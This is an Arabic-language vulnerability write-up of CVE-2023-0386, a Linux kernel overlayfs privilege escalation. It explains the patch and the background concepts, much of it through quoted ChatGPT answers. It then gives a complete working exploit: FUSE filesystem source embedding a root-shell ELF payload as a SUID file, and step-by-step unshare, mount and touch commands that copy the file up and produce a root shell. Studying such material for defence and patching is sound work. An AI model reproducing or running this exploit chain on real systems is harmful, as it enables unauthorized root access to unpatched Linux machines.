
استغلال تصعيد امتيازات محلية لـ CVE-2023-0386 يستهدف overlayfs في نواة لينكس. يتضمن تحليلًا تفصيليًا للثغرة، وكود إثبات مفهوم، ودليل استغلال خطوة بخطوة باستخدام FUSE ومساحات أسماء المستخدمين.
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

المعرفة النظرية في هذه المقالة (مساحات الأسماء، نظام الملفات overlay، نظام الملفات fuse، إلخ) مأخوذة من chatGPT.
رقم الثغرة: CVE-2023-0386
المنتج المتأثر: نواة لينكس - نظام الملفات overlay
النطاق المتأثر: 5.11 ~ 5.19
شروط الاستغلال: يمكن تنفيذ unshare أو إنشاء نظام ملفات overlay
تأثير الاستغلال: رفع الصلاحيات محليًا
تجميع النواة بنفسك:
جهز إصدارًا ضمن نطاق الثغرة، خارج الإصدار 5.15 (يبدو أن 5.15 به مشكلة)، وقم بتمكين نظامي الملفات overlay و fuse:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
تم اختبار Ubuntu 21.10 بإصدار النواة 5.13.0-16-generic ونجح:

قبل تحليل الثغرة، دع chatGPT يتقمص دور خبير نواة لينكس:
(سؤال chatGPT: الآن ستلعب دور خبير نواة لينكس لمساعدتي في بعض الأسئلة)
المعلومات العامة عن الثغرة قليلة، والأكثر مباشرة هو معلومات التصحيح، رابط التصحيح أدناه:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

يمكن رؤية أنه تم إضافة تحقق في دالة ovl_copy_up_one، دعنا نسأل chatGPT أولاً عن وظيفة هذه الدالة:

إذن هذه الدالة تحدث أثناء نسخ الملفات من الطبقة السفلية إلى الطبقة العلوية في نظام الملفات overlay. ثم ننظر إلى التحقق الجديد في التصحيح في سياق الكود:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] الحصول على stat لنظام الملفات السفلي
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2] التحقق الجديد في التصحيح من وجود تعيين لـ uid و gid في مساحة الاسم الحالية
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] أولاً، يتم الحصول على خصائص الملف الهدف في نظام الملفات السفلي عبر دالة vfs_getattr. هذه الدالة تحصل على بنية struct stat للملف عن طريق تمرير struct path الخاص به.
[1.1] ctx.lowerpath هو مسار ملف في نظام الملفات السفلي ضمن overlay، وسيتم شرح نظام الملفات overlay لاحقًا.
[1.2] بنية struct stat تخزن بيانات وصفية للملف، بما في ذلك المالك والمجموعة. ويتم التحقق من معلومات المالك التي تم الحصول عليها في التحقق الجديد أدناه.
[2] ثم يتم استدعاء دالة kuid_has_mapping للتحقق من معلومات المالك والمجموعة التي تم الحصول عليها أعلاه. تتحقق مما إذا كان مالك الملف الهدف ومجموعته لهما تعيين في مساحة اسم المستخدم الحالية.
[2.1] تستقبل دالة kuid_has_mapping معلمتين: بنية struct user_namespace (مساحة اسم المستخدم) وبنية struct kuid (معرف المستخدم في النواة). تتحقق الدالة مما إذا كانت معلومات المستخدم المعطاة لها تعيين في مساحة اسم المستخدم المعطاة. سيتم شرح تعيين المستخدمين في مساحات الأسماء بالتفصيل لاحقًا.
لذا نعلم الآن أنه عند تنفيذ عملية الدالة المحتوية على الثغرة (ovl_copy_up_one)، إذا لم يكن للمالك أو المجموعة للملف الهدف السفلي تعيين في مساحة الاسم الحالية، فسوف تفشل العملية.
إذن مبدأ التصحيح واضح، ولكن مع ذلك، نحتاج إلى حل الأسئلة التالية لإكمال تكرار الثغرة:
ovl_copy_up_one، أي نسخ الملفات من الطبقة السفلية إلى العلوية في overlay؟lowerpath الذي يتم التحقق من تعيين مالكه في سلسلة المنطق أعلاه؟قبل حل هذين السؤالين، نحتاج إلى فهم بعض المعرفة الأساسية:
(سؤال chatGPT: من فضلك اشرح مساحات الأسماء في نواة لينكس)
في لينكس، مساحات الأسماء (namespaces) هي ميزة في النواة تستخدم لعزل الموارد. من خلال مساحات الأسماء، يمكن لمجموعة من العمليات أن تبدو وكأنها تعمل في بيئة نظام مستقلة، مما يحسن الأمان وإمكانية الإدارة. تلعب مساحات الأسماء دورًا رئيسيًا في تقنيات الحاويات (مثل Docker)، حيث تسمح للحاويات بالعمل في بيئات معزولة دون التأثير على الحاويات الأخرى أو النظام المضيف.
تدعم نواة لينكس 7 أنواع من مساحات الأسماء (mount, pid, net, ipc, user, time, cgroup)، كل منها يعزل فئة محددة من موارد النظام. يتم إنشاء وتعديل وإدارة مساحات الأسماء من خلال سلسلة من استدعاءات النظام (مثل clone و unshare و setns). تستخدم بيئات تشغيل الحاويات (مثل Docker) وأدوات المحاكاة الافتراضية الأخرى ميزات مساحات الأسماء لتوفير بيئات تشغيل مستقلة ومعزولة للحاويات.
من بينها، دالة التحقق الجديدة في التصحيح kuid_has_mapping تتعلق بـ مساحة اسم المستخدم (user namespace) من بين مساحات الأسماء السبعة.
(سؤال chatGPT: من فضلك اشرح مساحة اسم المستخدم)
تستخدم مساحة اسم المستخدم (User Namespace) لعزل معرفات المستخدمين (UID) ومعرفات المجموعات (GID). من خلال مساحة اسم المستخدم، يمكن استخدام مجموعات مستقلة من معرفات المستخدمين والمجموعات في مساحات أسماء مختلفة. هذا يعني أن المستخدمين والمجموعات في مساحة اسم مستخدم قد يكون لديهم معرفات أو صلاحيات مختلفة في مساحة اسم أخرى. يمكن لمساحة اسم المستخدم تحسين أمان النظام وإمكانية الإدارة، خاصة في بيئات الحاويات.
الميزة الرئيسية لمساحة اسم المستخدم هي تعيين المعرفات (ID mapping): تسمح مساحة اسم المستخدم بتعيين UID و GID من مساحة اسم إلى أخرى. هذا يعني أنه في مساحات أسماء مستخدم مختلفة، قد يمثل نفس UID و GID مستخدمين ومجموعات مختلفة. على سبيل المثال، المستخدم root (UID 0) في حاوية قد يتم تعيينه إلى مستخدم غير مميز في النظام المضيف.
نحتاج فقط إلى تذكر النقاط التالية:
على سبيل المثال، أقوم بإنشاء مساحة اسم مستخدم جديدة باستخدام المستخدم breeze، ثم في تلك المساحة أنظر إلى ملف مملوك من قبل root، فيظهر أن المالك هو nobody:

هذا لأنه في مساحة الاسم الجديدة، root هو المستخدم breeze الذي أنشأ المساحة، ولم يتم تعيين root من مساحة الاسم الأولية يدويًا إلى المساحة الجديدة، لذلك يتم التعرف عليه كـ nobody.
إذن هنا نعرف أهمية هذا التصحيح: بالنسبة للملف الهدف في نظام الملفات السفلي من overlay، يجب أن يكون للمالك (المجموعة) الخاص به تعيين في مساحة الاسم الحالية حتى تستمر عملية النسخ، وإلا يتم إرجاع خطأ. أي أن الحالة التي يتم فيها التعرف على المالك على أنه nobody ستؤدي إلى فشل النسخ.
(سؤال chatGPT: من فضلك اشرح نظام الملفات overlay في لينكس)
نظام الملفات Overlay (المعروف أيضًا باسم OverlayFS) هو نظام ملفات افتراضي في نواة لينكس. يسمح بدمج اثنين أو أكثر من هياكل الدلائل الموجودة (تسمى الطبقات "السفلية" و"العلوية") في عرض موحد. يكون نظام الملفات Overlay مفيدًا جدًا عند الحاجة إلى إجراء عمليات كتابة على أنظمة ملفات للقراءة فقط (مثل الصور)، حيث يمكنه توجيه عمليات الكتابة إلى طبقة قابلة للكتابة متراكبة. تستخدم هذه الطريقة على نطاق واسع في تقنيات الحاويات (مثل Docker) لأنها توفر حلاً خفيف الوزن وعالي الأداء لمحاكاة أنظمة الملفات.
يمكن فهم تأثير الملفات الفعلية من الطبقات السفلية والعلوية على الطبقة المدمجة في نظام ملفات overlay معين من خلال الشكل التالي:

نظرًا لأن نظام الملفات العلوي قابل للكتابة، فعندما يعدل المستخدم ملفًا من الطبقة العلوية، يتم التعديل مباشرة. ولكن إذا أراد المستخدم تعديل ملف من الطبقة السفلية، مثل file D في الشكل أعلاه، وبما أن نظام الملفات السفلي للقراءة فقط، فسيتم نسخ (copy up) file D إلى الطبقة العلوية ليصبح file D' ثم يتم تعديله. التعديل الفعلي يحدث على file D' المنسوخ إلى الطبقة العلوية، بينما لا يتغير file D في الطبقة السفلية نفسها. هذا هو مبدأ COW (copy on write) في نظام الملفات overlay:

(سؤال chatGPT: من فضلك أعطني مثالاً عمليًا لإنشاء نظام ملفات overlay بسيط)
سنشرح كيفية إنشاء نظام ملفات overlay ببساطة من خلال الطريقة التالية:
أولاً، نحتاج إلى إنشاء الدلائل lower1 و lower2 و upper و work. ستستخدم هذه الدلائل لنظام الملفات overlay. كما نحتاج إلى إنشاء نقطة تحميل (مثل merged) للوصول إلى العرض المدمج. ثم نضيف بعض المحتوى إلى الدلائل lower1 و lower2:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
استخدم الأمر mount مع الخيار -t overlay لتحميل نظام الملفات overlay. يجب تحديد المعاملات lowerdir و upperdir و workdir كما يلي:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
يمكن رؤية الملفات من الطبقتين السفلية والعلوية في الدليل merged:

في هذا الدليل، سواء قمنا بإنشاء ملف جديد أو حذف ملف أو تعديله، فإن ذلك سيؤثر فقط على نظام الملفات العلوي، ولن يؤثر على السفلي. على سبيل المثال، إنشاء ملف جديد (تم إنشاؤه فعليًا في upper):

تعديل ملف موجود (يتم نسخ الملف من lower1 إلى upper ثم تعديله):

الخلاصة: المنطق المتعلق بالثغرة هو، عندما نقوم بتعديل ملف من الطبقة السفلية في نظام ملفات overlay، يتم أولاً نسخ هذا الملف إلى نظام الملفات العلوي، ثم يتم تنفيذ التعديل.
بعد التحليل أعلاه، يمكننا إعادة بناء الصورة الكاملة للثغرة. إذا حدثت عملية copy up في نظام ملفات overlay (محاولة تعديل ملف من الطبقة السفلية مما يؤدي إلى نسخه إلى الأعلى):
فالسؤال هو، لماذا يسبب نسخ الملفات ذات المالك غير المعين مشكلة؟
في الحقيقة، الإجابة على السؤال أعلاه بسيطة. نسخ الملف لا يقتصر على محتوى الملف، بل يشمل البيانات الوصفية، أي معلومات المالك، الطوابع الزمنية، الصلاحيات، والمعلومات الموسعة مثل الصلاحيات (capabilities). المخاطرة التي تنشأ هي: إذا كان نظام الملفات السفلي هو نظام ملفات للمستخدم (مثل fuse)، حيث يمكن للمستخدم التحكم بشكل كبير وتعريف أي ملف مخصص، ولكن هذا النظام له قيود (مثل nosuid)، فإن هذه الثغرة تسمح بنسخ ملفات suid المعرفة من قبل المستخدم من نظام ملفات nosuid إلى نظام ملفات عادي، مما يمنح ملف suid غير قانوني صلاحيات suid. وبالتالي يؤدي إلى رفع الصلاحيات.
(سؤال chatGPT: من فضلك اشرح نظام الملفات fuse)
FUSE (Filesystem in Userspace) هو واجهة نظام ملفات تتيح للمستخدمين تنفيذ وتشغيل أنظمة ملفات مخصصة في مساحة المستخدم (بدلاً من مساحة النواة). الهدف من تصميم FUSE هو تبسيط تطوير ونشر أنظمة الملفات مع توفير أداء جيد وأمان. يُستخدم FUSE على نطاق واسع في لينكس وأنظمة Unix الأخرى (مثل macOS و FreeBSD).
ببساطة، نظام الملفات fuse يسمح لنا بتعريف دوال رد الاتصال (callbacks) المخصصة في مساحة المستخدم (مثل open، write، readdir، وحتى getattr للحصول على بيانات وصفية).
كود نظام الملفات fuse التالي (من chatGPT) يمكن استخدامه كمثال للتعلم، وأيضًا لاستغلال الثغرة لاحقًا:
(سؤال chatGPT: من فضلك أعطني مثالًا بسيطًا لكود نظام ملفات fuse، يحتوي هذا النظام على ملف hello، محتواه سلسلة "helloworld"، وهذا الملف هو ملف setuid مملوك من قبل root)
بعد تعديل بسيط (تعديل محتوى الملف إلى بيانات بايت للخلفية، تعديل بعض إعدادات صلاحيات الملف، حجم الملف، إلخ):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//مسار الملف في نظام fuse، يوجد ملف باسم hello
const char hello_str[] = {//المحتوى الثنائي لملف suid الخلفي في نظام ملفات fuse
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//دالة رد الاتصال getattr للحصول على خصائص الملف أو الدليل
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//صلاحيات الدليل الجذر لنظام fuse، 0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//صلاحيات ملف hello، 777 مع SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //الحجم الفعلي لملف hello
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//دالة الحصول على معلومات الدليل
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//يدعم فقط عرض الدليل الجذر لنظام fuse
return -ENOENT;
}
filler(buf, ".", NULL, 0);//عرض . و .. افتراضيًا
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//يوجد ملف hello في الدليل الجذر لنظام fuse
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//دالة رد الاتصال open لفتح الملف
{
if (strcmp(path, hello_path) != 0) {//يدعم فقط فتح ملف hello
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//دالة رد الاتصال read لقراءة الملف
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//يدعم فقط قراءة ملف hello
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//إرجاع محتوى ملف hello، وهو المصفوفة الثنائية أعلاه
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = {//تنفيذ دوال رد الاتصال الأربعة فقط كافية
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//تسجيل دوال رد الاتصال
}
الكود أعلاه ينشئ نظام ملفات fuse، لكنه يحتوي فقط على ملف واحد باسم hello، محتواه عبارة عن برنامج خلفي ثنائي، وصلاحيته هي setuid مملوك من قبل root. تم تنفيذ أربع دوال رد اتصال فقط، تكفي للعرض الأساسي وفتح وقراءة ملف hello. يمكننا تجميع وتحميل نظام ملفات fuse باستخدام الأوامر التالية:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
يمكننا بعد ذلك رؤية ملف hello في دليل fusefs، وهو ملف suid مملوك من قبل root:

لكن المستخدم العادي لا يمكنه تمكين suid عند تحميل نظام ملفات fuse، أي أن أنظمة ملفات fuse التي يحملها المستخدم العادي تكون دائمًا nosuid. لذا حتى إذا قمنا بتشغيل ملف الخلفية suid هذا، فلن نحصل على صلاحيات root:

الآن سنستخدم ثغرة CVE-2023-0386 ونظام ملفات fuse أعلاه لإتمام عملية رفع الصلاحيات.
أولاً، نحتاج إلى إنشاء نظام ملفات overlay وفقًا لسيناريو الثغرة، باستخدام نظام ملفات fuse كطبقة سفلية، ودليل نستطيع الكتابة فيه كطبقة علوية. قم بإنشاء الدليل workdir والمجلدات الأخرى الخاصة بـ overlay، وقم بتحميل نظام ملفات fuse
mkdir hello_mount_point overlay_mount_point upperdir workdir # إنشاء المجلدات ذات الصلة
./hellofs hello_mount_point # تحميل نظام ملفات fuse

ثم قم بإنشاء مساحة اسم مستخدم جديدة ومساحة اسم mount ومساحة اسم pid، لأننا سنحتاج لاحقًا إلى إنشاء نظام ملفات overlay. افتراضيًا، ليس لدينا صلاحية mount، لذلك نحتاج إلى الحصول على صلاحية mount في مساحة الاسم الجديدة.
unshare -Urm

قم بإنشاء نظام ملفات overlay، باستخدام نظام ملفات fuse الذي يحوي ملف الخلفية suid hello كطبقة سفلية، والطبقة العلوية هي دليل upper الذي نستطيع الكتابة فيه:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

الشكل الحالي لـ overlay كما هو موضح أدناه

الآن هدفنا هو استخدام الثغرة لنسخ ملف الخلفية suid من نظام ملفات fuse الذي تم تحميله بـ nosuid إلى نظام الملفات العلوي upper. نظام الملفات العلوي upper هو نظام الملفات الافتراضي للنظام، ويدعم suid. ستقوم هذه العملية بنسخ ملف الخلفية مع خاصية suid الخاصة به. لذلك نحتاج حاليًا إلى تحفيز عملية copy up في نظام ملفات overlay. تحدث هذه العملية عادةً عندما نحاول تعديل ملف من الطبقة السفلية، وهذا هو السبب في أننا جعلنا صلاحية ملف hello في نظام ملفات fuse 777.
في الواقع، تعديل الملف لا يقتصر على تعديل المحتوى، بل يشمل أيضًا تعديل خصائص أخرى مثل الطوابع الزمنية للملف، مما قد يؤدي إلى copy up أيضًا. عند محاولة أمر touch إنشاء ملف موجود بالفعل، فإنه لا يستبدل الملف بل يعدل فقط طوابع زمنية للوصول والتعديل. وتعتبر معلومات الطوابع الزمنية جزءًا من معلومات attr الموسعة، وتعديلها يؤدي أيضًا إلى حدوث copy up في نظام ملفات overlay.
سلسلة الاستدعاءات كما يلي، بسبب تعديل الطوابع الزمنية للوصول والتعديل، في ovl_setattr تم تحفيز copy up:

لذا، نعود إلى خطوات التشغيل أعلاه، نحتاج فقط إلى الدخول إلى دليل merge في نظام ملفات overlay، واستخدام touch لتعديل الطابع الزمني لملف الخلفية hello:
touch overlay_mount_point/hello

ثم تم هنا تحفيز copy up:

نحن ننظر إلى دليل upper، أي دليل upper:
ls -al upperdir

ثم اخرج من مساحة الاسم وقم بتنفيذ upperdir/hello للحصول على shell root:

انظر exp.c
التجميع والتنفيذ:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
لذا فإن أهمية هذا التصحيح هي أنه إذا قمنا بالعملية المذكورة أعلاه لرفع الصلاحيات، فإن مستخدم root في مساحة الاسم الأولية لن يكون له تعيين في مساحة اسم المستخدم الجديدة (ولا يمكننا تعيينه لأن ذلك يتطلب صلاحيات خاصة)، وبالتالي ستفشل العملية. أما إذا كان المستخدم قد تم تعيينه بالفعل في مساحة اسم المستخدم الجديدة، فإنه يعتبر سيناريو قانونيًا.